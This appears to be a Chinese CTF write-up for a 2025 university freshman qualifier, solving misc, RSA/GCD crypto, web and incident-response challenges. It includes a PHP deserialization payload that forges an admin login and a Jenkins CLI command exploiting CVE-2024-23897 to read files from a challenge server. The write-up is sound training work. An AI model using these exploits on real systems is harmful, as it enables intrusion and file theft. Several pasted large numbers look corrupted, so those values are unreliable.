XAUT2025全国大学生信息安全竞赛新生预选赛-WP

作者：debu8ger

队伍：GeekPwn02

总排名：5

排名：1

得分：2563

MISC

SignIn

题目描述：
%58%41%55%54%43%54%46%7B%57%65%31%63%30%6D%65%5F%74%30%5F%58%41%55%54%43%54%46%7D

直接拿到随波逐流里一把梭得到flag

try

题目描述：黑客意外获得了Peng常用密码的前5位`13897`，但不知道具体的位数，请你尝试恢复出完整的密码。

下载附件后，zip文件加了密，拖到ARCHPR里。

根据题目描述，联想到用掩码,设置掩码为13897???，不断尝试密码位数，最后为13897??????，得出密码为13897564231。

用密码得出flag

沙滩，海洋，大冒险!

题目描述："Play, play, and a little competition！"

一到假期，BR就迫不急待跑出去玩了！可恶，校赛题还没有出完呢，这怎么能行？！

BR不愿意透露自己去哪里玩了，但是我们通过一些社会工程学手段打听到了一些信息。

现在你需要基于题目附件给出的提示推断出BR去哪里玩了，并且找到BR**出发时**乘坐的那一班飞机！

flag为：XAUTCTF{搭乘的飞机航班号}

示例：假如搭乘的是1月31日07:00-09:15从北京首都国际机场飞往上海浦东国际机场的东航MU5100，则flag为：XAUTCTF{MU5100}

附件下载后是几张图片，根据图片里的“南沙湖景区”，在浏览器搜索得出在汉中的飞机场，再根据聊天记录中的时间1.7出发，22：50的飞机得出航班为GX8898

Crypto

开心解方程

题目描述：解方程谁不会啊！我靠，这么大的数！

下载附件后打开：

```
from Crypto.Util.number import *
from flag import real_flag
import random

def get_random_number():
    return random.randint(10**1000,10**1001)

a = bytes_to_long(real_flag)
b = get_random_number()
c = get_random_number()
d = get_random_number()

n1 = a*b
n2 = b*c
n3 = c*d

print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"n3 = {n3}")
print(f"d = {d}")


"""
```

```
n1 =
660450239937627676472423152753088762866493652912175035499026181480010556008370227
132820692782941399020078286652999758917091413843420294288183682337794567181698378
005190614956144552666986460330953742492949504762378684649291608293382476170196507
203860717478415630531428751980788146515223279726281602812659703309762797436048496
627911598377385262782778046800188003103442375618916707142674221670302396972922283
520054905593166294022196546718266472584050053300607686206198014313391408445437435
461419478264326992928539518498208034077320792110599071386379968059173966168861863
310563929045344315395731430000393330742178273782030232137271829338224042312738785
152236946900306968280222576625839634537180837030960604009475268281037277121979859
481286561762653987805286800510140743673637571353114984679475017659746968187968573
057934009318669305996594873342826450526329996481608343739819045332409118504519002
207477400866719610003935048350194103918864656918681643952118946067692088906775185
346231362247690338142322966940992512356418386457476687916237422414439983444353705
388125162317285251480018417529216968487 50
n2 =
132055559948771408099604477174510908640912495019380611591004400217163913272136993
624283235079308020015173158191553338936753084171134908531165485921070874516834813
976117599430837900823335294479519533702907533849170522341798957404618239390485873
877756550985342946026048577994521995745243228888275945684197374335095889775900584
018493535693551635367739929894727124030411094267858058173324359095354142826060871
855025402896480786226652143721749604469688715048143841581073559139793591057386368
662003982514297359734502803119229221447469362191444625907240976754170723813555216
696259448226530794490426262235682192406211548384519179216913469272608133976730073
740693350965705743473429521428183071140252726519187867319209698168797844265454686
604650858647625651544844781172441114327730413909755610663851775805294677760337341
471874320104145726238738815997034116160241320481623424055329647756212404950138137
201755652092058647070154954508993527680392400884226430281062546126537770580183644
562443912059541003914708424230090569341055501736533553073746674313903992403503206
857916767617208494549796807961852733026405952427948517952448304611149342659684628
569240855038143599794523207383276344355059600817779494420269353407710918628882281
209710568248306625094302589083556130775420236298436946727954741207366382680753425
658694529323561705425881551718193904002607996920204879424398104325533927369289415
066917692493833507884186060259837106601569745744140016374319263631306625671259175
725749415499428033183980555918740839725077368686680281827054943319958962854368269
697061677855152125336416555541049194632983874540006015609081285573904886020380480
815939450727082808598371168705113292836650171896662288041545378376290705384280571
907349030484957785736384072797454874730966709528617139563145541483208207493168201
036502003863127289159200256458071082412659606747201219742648312696937511042470016
665970393829748900730673247488465176447873096543614566319875241944650936502266014
721835744878359884779357790359974239843614152066832952250 0
```

```
n3 =
249410272713998803165754891640007600846974535132227413971910865147969418539888390
073195689606460962553558928312743817847989934263100229022376128133508659027145332
511026307508686380224842234337426552003909228705197467042081026039559458721425938
098730849518727610240511003769836456879846902229417814578214601487649676894922723
462954711576107249045920865021523357612453775914962100509145273182613952283062735
895326241387273776619073614869159145539227349333374466068545601681226017756778478
970656850557932065579658939902181207185042720135934511308625418584279218810969482
187360886196754252103439195563518876634644835852209538418218191912157245441621484
746534825636136256651467843529859284555352243328258765980117242641670660964203471
733964221141765428089495089015946263582880444097689977702505016847310236571510768
439660043606739100605659424426677991950824300152769387504462598723123583198993392
920491550064242470431710380838595074587484332709028700667374217858019338913770751
233780840991911748572040679879955312564101137264045108984589666328288716593695705
628987313346676289541168447603290206899000688718335042566310836818080249745939265
766878889098243823775754170428574336166853448019828193151415593388977747007521853
462627419876286500597076433888660170265722292820282769078749796486423267732929410
579782033440976060073930532384320862660899912815510485687067091261411753169539876
689833347677430308001021169722778003692862579513640957940092905357037836527451598
294841312550447400930034141425085131602165292124625826119147029246119569825071322
961239430304131377656956479972476980119731750167986534701212222821155552705687935
372081227591635388891661558276169595275715422113441207510282320593295030888415098
837302380595809009588072616229131468353596837635562957862923207068829417296231130
002134233287119398969022114042157048675352691161235874217937559447389382292290724
611250564692584551972664442684936608785858133466701256968233101458604112191821224
237333210687552975775261503185673883016369390949571695225 2
d =
433649372657589561562736809113004896168988647467520522913503121627765152775872617
601174780309978948487118630623329285993553677703405155275957279564069754922608153
154985338337687221891537104845929137385323656737740520069497836713892798151396178
503110905146427254229932668338319430728026724929326990940122153602546409602279757
590528474512032428065493660727706292350992848548454374097053296992399965219450980
279948354644467259044536527730448427845444122562421182834303885763776785213056778
206306776574403086432100135804575686894687978437505218130338350044882355907368727
497314999595347129061253373714169034744396871198566741632582508619413746765301690
848796950206844814814100377730903357480581057890708058699990419019558244478361014
643171912366628244865206104432518650743908058177170171276657980747433307972075558
617764047083267897091305898360989080598358610366787147875243647574664400539203394
508901718521693792584822114894193675290489292453184418407413481891188937735907286
657995223626502349275357656 26
"""
```

通过代码审计，看到n1、n2，n3已知，上面的b、c、d是生成的随机数，n1和n2、n3则是它们相乘，可以用GCD算法逆向得出a，即为真正的flag。

得出exp：

```
from Crypto.Util.number import *
from math import gcd
```

```
n1 =
660450239937627676472423152753088762866493652912175035499026181480010556008370227
132820692782941399020078286652999758917091413843420294288183682337794567181698378
005190614956144552666986460330953742492949504762378684649291608293382476170196507
203860717478415630531428751980788146515223279726281602812659703309762797436048496
627911598377385262782778046800188003103442375618916707142674221670302396972922283
520054905593166294022196546718266472584050053300607686206198014313391408445437435
461419478264326992928539518498208034077320792110599071386379968059173966168861863
310563929045344315395731430000393330742178273782030232137271829338224042312738785
152236946900306968280222576625839634537180837030960604009475268281037277121979859
481286561762653987805286800510140743673637571353114984679475017659746968187968573
057934009318669305996594873342826450526329996481608343739819045332409118504519002
207477400866719610003935048350194103918864656918681643952118946067692088906775185
346231362247690338142322966940992512356418386457476687916237422414439983444353705
388125162317285251480018417529216968487 50
n2 =
132055559948771408099604477174510908640912495019380611591004400217163913272136993
624283235079308020015173158191553338936753084171134908531165485921070874516834813
976117599430837900823335294479519533702907533849170522341798957404618239390485873
877756550985342946026048577994521995745243228888275945684197374335095889775900584
018493535693551635367739929894727124030411094267858058173324359095354142826060871
855025402896480786226652143721749604469688715048143841581073559139793591057386368
662003982514297359734502803119229221447469362191444625907240976754170723813555216
696259448226530794490426262235682192406211548384519179216913469272608133976730073
740693350965705743473429521428183071140252726519187867319209698168797844265454686
604650858647625651544844781172441114327730413909755610663851775805294677760337341
471874320104145726238738815997034116160241320481623424055329647756212404950138137
201755652092058647070154954508993527680392400884226430281062546126537770580183644
562443912059541003914708424230090569341055501736533553073746674313903992403503206
857916767617208494549796807961852733026405952427948517952448304611149342659684628
569240855038143599794523207383276344355059600817779494420269353407710918628882281
209710568248306625094302589083556130775420236298436946727954741207366382680753425
658694529323561705425881551718193904002607996920204879424398104325533927369289415
066917692493833507884186060259837106601569745744140016374319263631306625671259175
725749415499428033183980555918740839725077368686680281827054943319958962854368269
697061677855152125336416555541049194632983874540006015609081285573904886020380480
815939450727082808598371168705113292836650171896662288041545378376290705384280571
907349030484957785736384072797454874730966709528617139563145541483208207493168201
036502003863127289159200256458071082412659606747201219742648312696937511042470016
665970393829748900730673247488465176447873096543614566319875241944650936502266014
721835744878359884779357790359974239843614152066832952250 0
```

```
n3 =
24941027271399880316575489164000760084697453513222741397191086514796941853988839007319568960646096255355892831274381784798993426310022902237612813350865902714533251102630750868638022484223433742655200390922870519746704208102603955945872142593809873084951872761024051100376983645687984690222941781457821460148764967689492272346295471157610724904592086502152335761245377591496210050914527318261395228306273589532624138727377661907361486915914553922734933337446606854560168122601775677847897065685055793206557965893990218120718504272013593451130862541858427921881096948218736088619675425210343919556351887663464483585220953841821819191215724544162148474653482563613625665146784352985928455535224332825876598011724264167066096420347173396422114176542808949508901594626358288044409768997770250501684731023657151076843966004360673910060565942442667799195082430015276938750446259872312358319899339292049155006424247043171038083859507458748433270902870066737421785801933891377075123378084099191174857204067987995531256410113726404510898458966632828871659369570562898731334667628954116844760329020689900068871833504256631083681808024974593926576687888909824382377575417042857433616685344801982819315141559338897774700752185346262741987628650059707643388866017026572229282028276907874979648642326773292941057978203344097606007393053238432086266089991281551048568706709126141175316953987668983334767743030800102116972277800369286257951364095794009290535703783652745159829484131255044740093003414142508513160216529212462582611914702924611956982507132296123943030413137765956479972476980119731750167986534701212222821155552705687935372081227591635388891661558276169595275715422113441207510282320593295030888415098837302380595809009588072616229131468353596837635562957862923207068829417296231130002134233287119398969022114042157048675352691161235874217937559447389382922907246112505646925845519726644426849366087858581334667012569682331014586041121918212242373332106875529757752615031856738830163693909495716952252
d =
43364937265758956156273680911300489616898864746752052291350312162776515277587261760117478030997894848711863062332928599355367770340515527595727956406975492260815315498533833768722189153710484592913738532365673774052006949783671389279815139617850311090514642725422993266833831943072802672492932699094012215360254640960227975759052847451203242806549366072770629235099284854845437409705329699239996521945098027994835464446725904453652773044842784544412256242118283430388576377678521305677820630677657440308643210013580457568689468797843750521813033835004488235590736872749731499959534712906125337371416903474439687119856674163258250861941374676530169084879695020684481481410037773090335748058105789070805869999041901955824447836101464317191236662824486520610443251865074390805817717017127665798074743330797207555861776404708326789709130589836098908059835861036678714787524364757466440053920339450890171852169379258482211489419367529048929245318441840741348189118893773590728665799522362650234927535765626

b = gcd(n1, n2)
a = n1 // b
c = n2 // b

real_flag = long_to_bytes(a)

print(f"THE real_flag: {real_flag.decode()}")
```

即可得到flag

ezRSA

题目描述：这伞兵BR又出了什么抽象题？忍不了了！和BR爆了！！！

下载了附件后是txt文件，打开：

e = 65537

n =
338961696492787878174131085319131595648025883441717008647084986619242069272719974904513685569298689631337571834853874304822958284721072502952983483581354805884230235616224853229739254453896448014605235889565579360332680381264108519019900566994903905058811872306737783665147228441672431028867883049175097222526742634365259229130960009894435122974995751345362626448862079965916048556068057677124299015 7

dp =
400083124766701760770193201501350780935762334278103272587453875633671635327240887004443388911836288363067697229546577371015067557634145371370566528112952353126801785632839467698765567616706538625865 33

c =
275179274223834744433483545246008418679945303505992757700332590609562838132071525053892163643647107676114403052973355508796319022173361465104823432607485922486761666130746018102996787411650068046965914585541239006719172052235204702773905192301423559483618271424494346798370604114504310722942846070483323355968848313649710473776591282018357809220304378832553352118810719761577196643422575168442581074 5

通过分析，已知公钥指数 e、模数 n、解密指数 dp 和密文 c，要得到明文。利用RSA知识 dp=d mod(p−1)，

找到p后，可以得到q，计算phi(n)和d，

最后利用中国剩余定理解密c

写exp：

```
from Crypto.Util.number import inverse, isPrime, long_to_bytes

e = 65537
n =
338961696492787878174131085319131595648025883441717008647084986619242069272719974
904513685569298689631337571834853874304822958284721072502952983483581354805884230
235616224853229739254453896448014605235889565579360332680381264108519019900566994
903905058811872306737783665147228441672431028867883049175097222526742634365259229
130960009894435122974995751345362626448862079965916048556068057677124299015 7
dp =
400083124766701760770193201501350780935762334278103272587453875633671635327240887
004443388911836288363067697229546577371015067557634145371370566528112952353126801
785632839467698765567616706538625865 33
```

```
c =
27517927422383474443348354524600841867994530350599275770033259060956283813207152505389216364364710767611440305297335550879631902217336146510482343260748592248676166613074601810299678741165006804696591458554123900671917205223520470277390519230142355948361827142449434679837060411450431072294284607048332335596884831364971047377659128201835780922030437883255335211881071976157719664342257516844258107 45

for k in range(1, e):
    p = (e * dp - 1) // k + 1
    if (e * dp - 1) % k == 0 and isPrime(p) and n % p == 0:
        q = n // p
        if isPrime(q):
            break

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
dq = d % (q-1)

m_p = pow(c, dp, p)
m_q = pow(c, dq, q)
h = (inverse(q, p) * (m_p - m_q)) % p
m = (m_q + h * q)

flag = long_to_bytes(m).decode()

print("解密后的flag:", flag)
```

得到flag

private key

题目描述：众所周知，公钥加密，私钥解密，那么没有私钥，这怎么解密？

hint:私钥生成所需要的p，q如何从公钥的n中获得呢？

下载附件得到三个文件：attachment.py、flag.enc和public_key.pem，

这个题是已知公钥，无私钥，则我们要得到私钥后才能解密flag.enc，

放到kali中：

可以看到已得出了private_key.pem，但是用kali自带的貌似解出来不对，

于是我用python写了一段解密exp：

```
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP


def dec():
    private_key = RSA.importKey(open('private.pem', 'r').read())
    rsa_decryptor = PKCS1_OAEP.new(private_key)
    with open('flag.enc', 'rb') as fp:
        encrypted_data = fp.read()
    decrypted = rsa_decryptor.decrypt(encrypted_data)
    print("解密后的 flag:", decrypted.decode())

dec()
```

得出flag

Web

unser

题目描述：小李是一位初学编程的小伙子，刚接触一种新语言。他发现这门语言操作数据的方式很特别，可以把复杂的信息转化为看似简单的文本，又能轻松恢复成原来的样子。

为了练习，他写了一个小程序，记录好友的名字和生日。小李把这些信息转换成一个奇怪的格式保存起来。几天后，他用程序还原了这些数据，发现好友的生日一条不少。他很开心，觉得自己迈出了学习的第一步。

这次成功让小李充满信心，他开始觉得学编程并没有想象中那么难嘛！

得到题目实例：

```php
<?php
highlight_file(__FILE__);
include("flag.php");
class login{
    public $user;
    public $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="admin" and $this->pass=="admin123"){
            return True;
        }
    }
}

if(isset($_GET['flag']))
{
    $a=unserialize($_GET['flag']);
    if($a->login())
    {
        echo $flag;
    }
}
```

经典的反序列化漏洞，

写一手逆向代码，得到payload：**O:5:"login":2:{s:4:"user";s:5:"admin";s:4:"pass";s:8:"admin123";}**

得到flag

Jenkins

题目描述：坏了，我不会java，这怎么打？？？

hint:容器启动较慢，请耐心等候，完全启动预计需要10min

flag位于/flag

在网上看看有没有现成的poc之类的?

等网页加载完后是经典的登陆界面，利用网络资源有poc，

首先在前端页面输入 **jnlpJars/jenkins-cli.jar**，可以下载到jar文件，

然后再打开kali，在命令行中输入：java -jar '/../../../jenkins-cli.jar -s -http 47.121.201.96:50527 help 1 "@/flag"

得到flag

#参考了Jenkins文件读取漏洞拾遗（CVE-2024-23897）_| 离别歌

Forensics（附件忘了保存了:(）

应急响应-1钓鱼邮件

近日，Peng的个人电脑遭到黑客攻击，请你帮Peng溯源攻击链。

黑客发送的钓鱼邮件的发件地址是?

例：XAUTCTF{123456@qq.com}

hint：部分文件为真实病毒样本，请不要在物理机运行

翻一翻`此电脑`

挂载虚拟机后进入，

根据提示，点击此电脑，有一个寒假通知，点击后即可看到邮件地址。

应急响应-2一句话木马

题目描述：黑客写入的一句话木马的连接密码是?

例：XAUTCTF{cmd}

在虚拟机上下载D盾，查找后门文件可以看到有两个可疑文件，

点开可以看到一句话马🐎，

得到是POST的easyshell，为flag

应急响应-3后门用户

题目描述：黑客的添加的后门用户是?

例：XAUTCTF{hacker}

在虚拟机上的控制面板的用户账户可得到后门用户wshcaker$

应急响应-4病毒文件

题目描述：黑客植入的病毒程序的外连ip及端口是

在cmd里输入netstat -naob可得到外连IP地址

应急响应-5勒索钱包

题目描述：黑客留下的勒索钱包地址是?

例：XAUTCTF{1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa}

直接点击桌面上的readme.txt可得到